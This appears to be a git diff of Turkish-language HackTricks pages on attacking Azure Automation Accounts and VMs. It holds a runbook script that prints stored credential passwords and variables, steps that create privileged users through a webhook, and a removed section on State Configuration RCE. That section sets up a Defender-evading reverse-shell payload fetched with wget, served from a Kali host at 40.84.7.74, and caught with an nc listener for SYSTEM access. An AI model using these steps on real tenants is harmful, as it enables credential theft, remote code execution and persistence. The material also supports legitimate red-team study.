Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
### Bir Runbook Oluşturun
```powershell
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### Bir Run Book Kullanarak Bir Otomasyon Hesabında Tanımlanan Kimlik Bilgilerini ve Değişkenleri Sızdırma
```powershell
# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness
# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
```
> [!NOTE]
> Mevcut bir Run Book'u değiştirerek ve web konsolundan aynı şeyi yapabilirsiniz.
### Otomatik Yüksek Yetkili Kullanıcı Oluşturma İçin Kurulum Adımları
#### 1. Bir Otomasyon Hesabı Başlatın
- **Gerekli Eylem:** Yeni bir Otomasyon Hesabı oluşturun.
- **Özel Ayar:** "Azure Run As hesabı oluştur" seçeneğinin etkin olduğundan emin olun.
#### 2. Runbook'u İçe Aktarın ve Ayarlayın
- **Kaynak:** Örnek runbook'u [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst) adresinden indirin.
- **Gerekli Eylemler:**
- Runbook'u Otomasyon Hesabına içe aktarın.
- Runbook'u çalıştırılabilir hale getirmek için yayınlayın.
- Dış tetikleyicileri etkinleştirmek için runbook'a bir webhook ekleyin.
#### 3. AzureAD Modülünü Yapılandırın
- **Gerekli Eylem:** AzureAD modülünü Otomasyon Hesabına ekleyin.
- **Ek Adım:** Tüm Azure Otomasyon Modüllerinin en son sürümlerine güncellendiğinden emin olun.
#### 4. İzin Ataması
- **Atanacak Rolleri:**
- Kullanıcı Yöneticisi
- Abonelik Sahibi
- **Hedef:** Bu rolleri gerekli yetkiler için Otomasyon Hesabına atayın.
#### 5. Potansiyel Erişim Kaybı Farkındalığı
- **Not:** Bu tür bir otomasyonu yapılandırmanın abonelik üzerindeki kontrolü kaybetmenize neden olabileceğini unutmayın.
#### 6. Kullanıcı Oluşturmayı Tetikleyin
- Yeni bir kullanıcı oluşturmak için webhook'u tetikleyin ve bir POST isteği gönderin.
- Sağlanan PowerShell betiğini kullanın, `$uri`'yi gerçek webhook URL'nizle değiştirdiğinizden ve `$AccountInfo`'yu istenen kullanıcı adı ve şifre ile güncellediğinizden emin olun.
```powershell
$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Referanslar
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,57 +0,0 @@
# Az - State Configuration RCE
{{#include ../../../../banners/hacktricks-training.md}}
**Tam gönderiyi kontrol edin:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### Uzaktan Sunucu (C2) Altyapı Hazırlığı ve Adımlarının Özeti
#### Genel Bakış
Bu süreç, Windows Defender'ı atlatmak için tasarlanmış, `RevPS.ps1` adında değiştirilmiş bir Nishang `Invoke-PowerShellTcp.ps1` yükünü barındırmak üzere bir uzaktan sunucu altyapısının kurulmasını içerir. Yük, IP'si `40.84.7.74` olan bir Kali Linux makinesinden basit bir Python HTTP sunucusu kullanılarak sunulmaktadır. İşlem birkaç adımda gerçekleştirilir:
#### Adım 1 — Dosyaları Oluştur
- **Gerekli Dosyalar:** İki PowerShell betiğine ihtiyaç vardır:
1. `reverse_shell_config.ps1`: Yükü alıp çalıştıran bir İstenilen Durum Yapılandırması (DSC) dosyasıdır. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) adresinden temin edilebilir.
2. `push_reverse_shell_config.ps1`: Yapılandırmayı VM'ye yayınlamak için bir betiktir, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) adresinde mevcuttur.
- **Özelleştirme:** Bu dosyalardaki değişkenler ve parametreler, kullanıcıya özgü ortam için, kaynak adları, dosya yolları ve sunucu/yük tanımlayıcıları dahil olmak üzere özelleştirilmelidir.
#### Adım 2 — Yapılandırma Dosyasını Ziple
- `reverse_shell_config.ps1` bir `.zip` dosyasına sıkıştırılır, böylece Azure Storage Account'a transfer için hazır hale gelir.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Adım 3 — Depolama Bağlamını Ayarla ve Yükle
- Sıkıştırılmış yapılandırma dosyası, Azure'un Set-AzStorageBlobContent cmdlet'ini kullanarak önceden tanımlanmış Azure Storage konteyneri olan azure-pentest'e yüklenir.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
#### Adım 4 — Kali Kutusunu Hazırlama
- Kali sunucusu RevPS.ps1 yükünü bir GitHub deposundan indirir.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- Script, hedef Windows VM ve ters shell için port belirtmek üzere düzenlenir.
#### Adım 5 — Yapılandırma Dosyasını Yayınla
- Yapılandırma dosyası çalıştırılır ve ters shell scripti, Windows VM üzerindeki belirtilen konuma dağıtılır.
#### Adım 6 — Payload'ı Barındır ve Dinleyici Kur
- Payload'ı barındırmak için bir Python SimpleHTTPServer başlatılır ve gelen bağlantıları yakalamak için bir Netcat dinleyicisi kurulur.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
- Zamanlanmış görev, yükü çalıştırarak SYSTEM düzeyinde ayrıcalıklar elde eder.
#### Sonuç
Bu sürecin başarılı bir şekilde yürütülmesi, kimlik bilgisi dökümü veya saldırının birden fazla VM'ye genişletilmesi gibi daha fazla eylem için birçok olasılık açar. Kılavuz, Azure Automation DSC alanında sürekli öğrenmeyi ve yaratıcılığı teşvik eder.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,227 @@
# Az - Automation Accounts
{{#include ../../../../banners/hacktricks-training.md}}
## Temel Bilgiler
Azure Automation Hesapları, Microsoft Azure'da kaynak yönetimi, yapılandırma ve güncellemeler gibi **görevleri otomatikleştirmeye** yardımcı olan bulut tabanlı hizmetlerdir. **Runbook'lar** (çalıştırılan otomasyon için betikler), **programlar** ve otomasyon **işlerini** çalıştırmak için **hibrit işçi grupları** sağlar, bu da kod olarak altyapı (IaC) ve süreç otomasyonu ile bulut kaynaklarını yönetmede verimlilik ve tutarlılığı artırır.
### Ayarlar
- **Kimlik Bilgileri**: Şifre yalnızca otomasyon hesabındaki bir runbook içinde erişilebilir, kullanıcı adlarını ve şifreleri **güvenli bir şekilde saklamak için** kullanılır.
- **Değişkenler**: Runbook'larda kullanılabilecek **yapılandırma verilerini** saklamak için kullanılır. Bu, API anahtarları gibi hassas bilgiler de olabilir. Değişken **şifrelenmiş olarak saklanıyorsa**, yalnızca otomasyon hesabındaki bir runbook içinde kullanılabilir.
- **Sertifikalar**: Runbook'larda kullanılabilecek **sertifikaları** saklamak için kullanılır.
- **Bağlantılar**: Harici hizmetlere ait **bağlantı bilgilerini** saklamak için kullanılır. Bu, **hassas bilgiler** içerebilir.
- **Ağ Erişimi**: **Herkese açık** veya **özel** olarak ayarlanabilir.
## Runbook'lar & İşler
Azure Automation'daki bir Runbook, bulut ortamınızda görevleri otomatik olarak **yerine getiren bir betiktir**. Runbook'lar PowerShell, Python veya Grafik editörlerde yazılabilir. VM yönetimi, yamanlama veya uyumluluk kontrolleri gibi idari görevleri otomatikleştirmeye yardımcı olurlar.
**Runbook'lar** içindeki **kod**, **hassas bilgileri** içerebilir (örneğin kimlik bilgileri).
`Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections` adresine gidin.
Bir **İş**, bir Runbook yürütme örneğidir. Bir Runbook çalıştırdığınızda, o yürütmeyi izlemek için bir İş oluşturulur. Her iş şunları içerir:
- **Durum**: Kuyrukta, Çalışıyor, Tamamlandı, Başarısız, Askıya Alındı.
- **Çıktı**: Runbook yürütmesinin sonucu.
- **Başlangıç ve Bitiş Zamanı**: İşin ne zaman başladığı ve tamamlandığı.
Bir iş, **Runbook** yürütmesinin **çıktısını** içerir. **İşleri** **okuyabiliyorsanız**, bunu yapın çünkü **çıkta** **run**'un **çıktısını** içerir (potansiyel **hassas bilgiler**).
### Programlar & Webhook'lar
Bir Runbook'u yürütmenin 3 ana yolu vardır:
- **Programlar**: Bunlar, Runbook'ları **belirli bir zamanda** veya **aralıkta** **tetiklemek için** kullanılır.
- **Webhook'lar**: Bunlar, **harici hizmetlerden** Runbook'ları **tetiklemek için** kullanılabilecek **HTTP uç noktalarıdır**. Webhook URL'sinin oluşturulduktan sonra **görünür olmadığını** unutmayın.
- **Manuel Tetikleme**: Azure Portal'dan ve cli'dan bir Runbook'u **manuel olarak tetikleyebilirsiniz**.
### Kaynak Kontrolü
Runbook'ları **Github, Azure Devops (Git) ve Azure Devops (TFVC)**'den içe aktarmayı sağlar. Repo'daki Runbook'ları Azure Automation hesabına yayınlamak için belirtmek mümkündür ve ayrıca repo'daki değişiklikleri Azure Automation hesabına **senkronize etmek** için de belirtmek mümkündür.
Senkronizasyon etkinleştirildiğinde, **Github deposunda bir webhook oluşturulur** ve her push olayı gerçekleştiğinde senkronizasyonu tetikler. Bir webhook URL'sinin örneği: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Bu webhook'ların, Github deposuna bağlı runbook'larda listelenirken **görünmeyeceğini** unutmayın. Ayrıca, bir kaynak kontrolü oluşturulduktan sonra **repo URL'sini değiştirmek mümkün değildir**.
Yapılandırılan kaynak kontrolünün çalışabilmesi için, **Azure Automation Hesabı**'nın **`Contributor`** rolüne sahip bir yönetilen kimliğe (sistem veya kullanıcı) sahip olması gerekir. Ayrıca, Automation Hesabına bir kullanıcı yönetilen kimliği atamak için, **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** değişkenini **Kullanıcı Yönetilen Kimliği İstemci Kimliği** olarak ayarlamak yeterlidir.
### Çalışma Ortamları
Bir Runbook oluştururken çalışma ortamını seçmek mümkündür. Varsayılan olarak, aşağıdaki çalışma ortamları mevcuttur:
- **Powershell 5.1**
- **Powershell 7.1**
- **PowerShell 7.2**
- **Python 3.10**
- **Python 3.8**
- **Python 2.7**
Ancak, bunlardan birini temel alarak **kendi ortamlarınızı oluşturmak** da mümkündür. Python durumunda, kullanılacak ortama `.whl` paketleri yüklemek mümkündür. PowerShell durumunda, çalışma zamanında bulunması gereken modüllerle birlikte `.zip` paketleri yüklemek mümkündür.
### Hibrit İşçi
Bir Runbook, **Azure içindeki bir konteynerde** veya **Hibrit İşçi** (Azure dışı makine) üzerinde çalıştırılabilir.\
**Log Analytics Agent**, onu hibrit işçi olarak kaydetmek için VM'ye dağıtılır.\
Hibrit işçi işleri, Windows'ta **SYSTEM** ve Linux'ta **nxautomation** hesabı olarak çalışır.\
Her Hibrit İşçi, bir **Hibrit İşçi Grubu** içinde kaydedilir.
Bu nedenle, bir **Runbook**'u bir **Windows Hibrit İşçi** üzerinde çalıştırmayı seçerseniz, **Sistem** olarak bir dış makine içinde **rastgele komutlar** çalıştıracaksınız (güzel bir pivot tekniği).
### Durum Yapılandırması (SC)
>[!WARNING]
> [belgelere](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) göre, Azure Automation Durum Yapılandırması 30 Eylül 2027'de emekliye ayrılacak ve [Azure Makine Yapılandırması](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) ile değiştirilecektir.
Otomasyon Hesapları ayrıca **Durum Yapılandırması (SC)**'yı destekler; bu, VM'lerinizin **durumunu** **yapılandırmaya** ve **korumaya** yardımcı olan bir özelliktir. **Windows** ve **Linux** makinelerine DSC yapılandırmaları **oluşturmak** ve **uygulamak** mümkündür.
Saldırganlar açısından bu, **tüm yapılandırılmış VM'lerde rastgele PS kodu çalıştırma** imkanı sunduğu için ilginçti ve bu VM'lerin yönetilen kimliklerine ayrıcalıkları yükseltme imkanı sağladı, potansiyel olarak yeni ağlara geçiş yapma... Ayrıca, yapılandırmalar **hassas bilgiler** içerebilir.
## Sayım
```bash
# List Automation Accounts
az automation account list --output table
# Get Automation Account details
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
# Check the managed identities in `identity`
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get keys of automation account
## These are used for the DSC
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get schedules of automation account
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get connections of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
# Get connection details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
# Get credentials of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
# Get credential details
## Note that you will only be able to access the password from inside a Runbook
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
# Get certificates of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
# Get certificate details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
# Get variables of automation account
## It's possible to get the value of unencrypted variables but not the encrypted ones
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
# Get variable details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
# Get runbooks of an automation account
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get runbook details
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
# Get runbook content
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
# Get jobs of an automation account
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get job details
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
# Get job output
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
# Get the Runbook content when the job was executed
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
# Get webhooks inside an automation account
## It's possible to see to which runbook it belongs in the given data
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
## Generating a webhook can be useful from a persistence perspective
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
az automation runtime-environment list \
--resource-group <res-group>> \
--automation-account-name <account-name> \
--query "[?!(starts_with(description, 'System-generated'))]"
# Get State Configurations (SC) of an automation account
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get State Configuration details
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
```
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## Ayrıcalık Yükseltme & Sonrası İstismar
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Referanslar
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,15 +4,15 @@
## Azure Ağ Temel Bilgileri
Azure ağları **farklı varlıklar ve yapılandırma yolları** içerir. Farklı Azure ağ varlıklarının **kısa açıklamalarını,** **örneklerini** ve **numaralandırma** komutlarını şurada bulabilirsiniz:
Azure ağları **farklı varlıklar ve yapılandırma yolları** içerir. Farklı Azure ağ varlıklarının **kısa açıklamaları,** **örnekleri** ve **numaralandırma** komutlarını bulabilirsiniz:
{{#ref}}
az-azure-network.md
{{#endref}}
## Sanal Makineler Temel Bilgileri
## VM'ler Temel Bilgileri
Azure Sanal Makineleri (VM'ler), **Windows veya Linux işletim sistemlerini çalıştırmanıza olanak tanıyan esnek, talep üzerine bulut tabanlı sunuculardır**. Fiziksel donanımı yönetmeden uygulamaları ve iş yüklerini dağıtmanıza olanak tanır. Azure VM'leri, belirli ihtiyaçları karşılamak ve sanal ağlar, depolama ve güvenlik araçları gibi Azure hizmetleriyle entegre olmak için çeşitli CPU, bellek ve depolama seçenekleriyle yapılandırılabilir.
Azure Sanal Makineleri (VM'ler), **Windows veya Linux işletim sistemlerini çalıştırmanıza olanak tanıyan esnek, talep üzerine bulut tabanlı sunuculardır.** Fiziksel donanım yönetimi olmadan uygulamaları ve iş yüklerini dağıtmanıza olanak tanır. Azure VM'leri, belirli ihtiyaçları karşılamak ve sanal ağlar, depolama ve güvenlik araçları gibi Azure hizmetleriyle entegre olmak için çeşitli CPU, bellek ve depolama seçenekleriyle yapılandırılabilir.
### Güvenlik Yapılandırmaları
@@ -22,8 +22,8 @@ Azure Sanal Makineleri (VM'ler), **Windows veya Linux işletim sistemlerini çal
- **Güvenilir Başlatma**: Bu güvenlik türü, Secure Boot ve Sanal Güvenilir Platform Modülü (vTPM) kullanarak önyükleme kitleri ve çekirdek düzeyindeki kötü amaçlı yazılımlara karşı korumayı artırır.
- **Gizli VM'ler**: Güvenilir başlatmanın üzerine, VM, hipervizör ve ana yönetim arasında donanım tabanlı izolasyon sunar, disk şifrelemesini geliştirir ve [**daha fazlası**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Kimlik Doğrulama**: Varsayılan olarak yeni bir **SSH anahtarı oluşturulur**, ancak bir genel anahtar kullanmak veya önceki bir anahtarı kullanmak mümkündür ve varsayılan kullanıcı adı **azureuser**'dır. Ayrıca bir **şifre** kullanacak şekilde yapılandırmak da mümkündür.
- **VM disk şifrelemesi:** Disk, varsayılan olarak platform yönetilen bir anahtar kullanılarak dinlenme durumunda şifrelenir.
- **Ana bilgisayarda Şifreleme**'yi etkinleştirmek de mümkündür; burada veriler, depolama hizmetine gönderilmeden önce ana bilgisayarda şifrelenir ve ana bilgisayarla depolama hizmeti arasında uçtan uca şifreleme sağlanır ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **VM disk şifrelemesi:** Disk, varsayılan olarak platform yönetimli bir anahtar kullanılarak dinlenme durumunda şifrelenir.
- **Ana bilgisayarda Şifreleme**'yi etkinleştirmek de mümkündür; burada veriler, depolama hizmetine gönderilmeden önce ana bilgisayarda şifrelenir ve ana bilgisayar ile depolama hizmeti arasında uçtan uca şifreleme sağlanır ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC ağ güvenlik grubu**:
- **Hiçbiri**: Temelde her portu açar
- **Temel**: HTTP (80), HTTPS (443), SSH (22), RDP (3389) gelen portlarını kolayca açar
@@ -45,13 +45,13 @@ Azure Sanal Makineleri (VM'ler), **Windows veya Linux işletim sistemlerini çal
## Diskler & anlık görüntüler
- **2 veya daha fazla VM'ye bir disk eklemeyi etkinleştirmek mümkündür**
- **2 veya daha fazla VM'ye disk eklemeyi etkinleştirmek mümkündür.**
- Varsayılan olarak her disk **şifrelenmiştir** ve bir platform anahtarı kullanır.
- Anlık görüntülerde de aynı
- Anlık görüntülerde de aynı durum geçerlidir.
- Varsayılan olarak, diskin **tüm ağlardan paylaşılması mümkündür**, ancak yalnızca belirli **özel erişim** ile **tamamen devre dışı bırakılacak** şekilde de **kısıtlanabilir**.
- Anlık görüntülerde de aynı
- **Diskin dışa aktarılması için bir SAS URI** (maksimum 60 gün) **oluşturmak mümkündür**, bu da kimlik doğrulama gerektirip gerektirmeyecek şekilde yapılandırılabilir.
- Anlık görüntülerde de aynı
- Anlık görüntülerde de aynı durum geçerlidir.
- **Diski dışa aktarmak için bir SAS URI** (maksimum 60 gün) **oluşturmak mümkündür**, bu da kimlik doğrulama gerektirip gerektirmeyecek şekilde yapılandırılabilir.
- Anlık görüntülerde de aynı durum geçerlidir.
{{#tabs}}
{{#tab name="az cli"}}
@@ -76,10 +76,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Görseller, Galeri Görselleri ve Geri Yükleme Noktaları
Bir **VM görüntüsü**, **yeni bir sanal makine (VM)** oluşturmak için gereken işletim sistemi, uygulama ayarları ve dosya sistemini içeren bir şablondur. Bir görüntü ile bir disk anlık görüntüsü arasındaki fark, bir disk anlık görüntüsünün yalnızca yedekleme veya sorun giderme için kullanılan, tek bir yönetilen diskin okunamayan, belirli bir zamandaki kopyası olmasıdır; oysa bir görüntü **birden fazla diski içerebilir ve yeni VMs oluşturmak için bir şablon olarak hizmet vermek üzere tasarlanmıştır**.\
Görüntüler, Azure'un **Görüntüler bölümü** veya **Azure hesap galerileri** içinde yönetilebilir; bu, **sürümler** oluşturmayı ve görüntüyü tenantlar arası paylaşmayı veya hatta herkese açık hale getirmeyi sağlar.
Bir **VM görüntüsü**, **yeni bir sanal makine (VM)** oluşturmak için gereken işletim sistemi, uygulama ayarları ve dosya sistemini içeren bir şablondur. Bir görüntü ile bir disk anlık görüntüsü arasındaki fark, bir disk anlık görüntüsünün yalnızca yedekleme veya sorun giderme amacıyla kullanılan, tek bir yönetilen diskin okunamayan, belirli bir zamandaki kopyası olmasıdır; oysa bir görüntü **birden fazla diski içerebilir ve yeni VMs oluşturmak için bir şablon olarak hizmet vermek üzere tasarlanmıştır**.\
Görüntüler, Azure'un **Görüntüler bölümünde** veya **Azure hesap galerileri** içinde yönetilebilir; bu, **sürümler** oluşturmayı ve görüntüyü tenantlar arası paylaşmayı veya hatta herkese açık hale getirmeyi sağlar.
Bir **geri yükleme noktası**, VM yapılandırmasını ve VM'ye bağlı **tüm yönetilen disklerin** **belirli bir zamandaki** uygulama tutarlı **anlık görüntülerini** saklar. Bu, VM ile ilişkilidir ve amacı, o VM'yi o belirli zamandaki durumuna geri yükleyebilmektir.
Bir **geri yükleme noktası**, VM yapılandırmasını ve VM'ye bağlı olan **tüm yönetilen disklerin** **belirli bir zamandaki** uygulama tutarlı **anlık görüntülerini** saklar. Bu, VM ile ilişkilidir ve amacı, o VM'yi o belirli zamandaki durumuna geri yükleyebilmektir.
{{#tabs}}
{{#tab name="az cli"}}
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
